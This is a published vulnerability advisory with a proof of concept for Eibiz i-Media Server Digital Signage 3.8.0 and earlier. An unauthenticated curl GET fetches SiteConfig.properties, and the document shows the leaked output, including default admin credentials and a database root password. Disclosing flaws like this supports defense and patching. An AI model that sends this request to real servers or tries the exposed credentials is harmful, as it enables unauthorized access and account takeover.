Eibiz i-Media Server Digital Signage 3.8.0 - Configuration Disclosure

# Exploit Title: Eibiz i-Media Server Digital Signage 3.8.0 - Configuration Disclosure
# Date: 2020-08-21
# Exploit Author: LiquidWorm
# Vendor Homepage: http://www.eibiz.co.th
# Version: <=3.8.0
# CVE: N/A

Eibiz i-Media Server Digital Signage 3.8.0 Configuration Disclosure


Vendor: EIBIZ Co.,Ltd.
Product web page: http://www.eibiz.co.th
Affected version: <=3.8.0

Summary: EIBIZ develop advertising platform for out of home media in that
time the world called "Digital Signage". Because most business customers
still need get outside to get in touch which products and services. Online
media alone cannot serve them right place, right time.

Desc: i-Media Server is vulnerable to unauthenticated configuration disclosure
when direct object reference is made to the SiteConfig.properties file using an
HTTP GET method. This will enable the attacker to disclose sensitive information
and help her in authentication bypass, privilege escalation and/or full system access.

Tested on: Windows Server 2016
           Windows Server 2012 R2
           Windows Server 2008 R2           
           Apache Flex
           Apache Tomcat/6.0.14
           Apache-Coyote/1.1
           BlazeDS Application


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5583
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5583.php


26.07.2020

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$ curl http://192.168.1.1/config/SiteConfig.properties
server.mode=testing
admin.username=admin
admin.password=admin
designer.username=designer
designer.password=designer
reporter.username=reporter
reporter.password=reporter
db.PriDBServerIp=127.0.0.1
db.PriDBServerPort=3306
db.PriDBServerUser=root
db.PriDBServerPwd=eibiz1234
db.PriDBName=imediadb
account.appId=1
account.RootPath=C:/iMediaServWeb/tomcat/webapps/ROOT/
account.ContentPath=C:/iMediaServWeb/tomcat/webapps/ROOT/
account.imediasuitURL=http://localhost:8080/UserAPI/v1/user/applogin
account.ReportInteractive=0
account.ReportPlayer=1
account.ReportMedia=1
account.ReportTransfer=1
ConcurrentDownload=10
BindingAddress=192.168.1.1
ServicePort=643
EndPointPort=644
AndroidServicePort=8080
AndroidEndPointPort=8081
RequireApprove=
OutgoingMailServer=
MailUser=
MailPassword=
mongodb.PriMongoDBName=imediadb_sandbox
mongodb.PriMongoDBServerIp=localhost
mongodb.PriMongoDBServerPort=27017
mongodb.PriMongoDBUser=
mongodb.PriMongoDBPwd=